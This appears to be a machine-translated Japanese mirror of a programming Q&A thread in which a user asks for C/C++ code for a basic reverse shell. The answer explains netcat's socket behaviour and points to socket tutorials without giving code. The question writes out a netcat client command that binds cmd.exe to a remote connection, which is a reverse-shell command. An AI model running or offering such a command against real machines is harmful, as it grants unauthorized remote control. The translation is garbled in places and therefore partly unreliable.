2009-07-24 8 views
2

Cでの基本的なリバースシェルの例を探して:は基本的に、私は次のnetcatのシナリオをシミュレートするためのコードを書きたい</p> <p>、私はCまたはC++での基本的な逆シェルの例を見つけようとしている(++)

これは私がCMD.EXEから出入りネットワークのストリームに標準入出力をリダイレクトすることを意味します:netcatを話せません

誰のため

Listener: 
------------------ 
C:\nc -L -p 80 

Client 
-------------- 
C:\nc 127.0.0.1 80 -e cmd.exe 
。 リモートボックスのユーザーは、リモートコンピュータからcmd.exeを実行できます。

私はC/C++のコード例を探していますか?

+3

ここにいくつかのポインタがあります:0x24804005、0xEBF255FE、0xE0443209 ... – slipbull

+2

流暢なnetcatを話す人にあなたを助けることができる人のプールを人為的に制限しているかもしれません。 – dmckee

+0

dmckeeそうです、私はちょうどそれについて実際に説明しました。 –

答えて

2

netcatは、基本的に(サーバーとして動作するとき)受け入れるか、ソケットを開く(クライアントとして動作する)場合にソケットを使用するものです。 stdinにタイプされたものはソケットに書き込まれます。ソケットから読み取られたものはstdoutに書き込まれます。エラーはstderrに書き込まれます。

これは基本的なことです。あなたがWindows上でそれを使用していて、標準IOをコマンドシェルに付けているようです。私はなぜあなたのためにこれが何をするのか分からないので、私は今それを無視するつもりです。あなたが何をする必要があるかとにかく

は、(第1項を参照)...など...、ソケットをオープン/受け入れアプリを書くに書き込むです。

これを実行する方法を説明スタッフオンラインがたくさんあります。あなたの質問への究極の答えは、なぜあなたがこれをやりたいのか(つまり、単にnetcatを使用するだけではない)、どんなプラットフォームやWindowsのみでビルドするいいPOSIX準拠のアプリケーション)、およびその他の考慮事項。

まず、socket programming in csocket programming in c++、またはWindows socket programmingのようなものを検索することをおすすめします。

関連する問題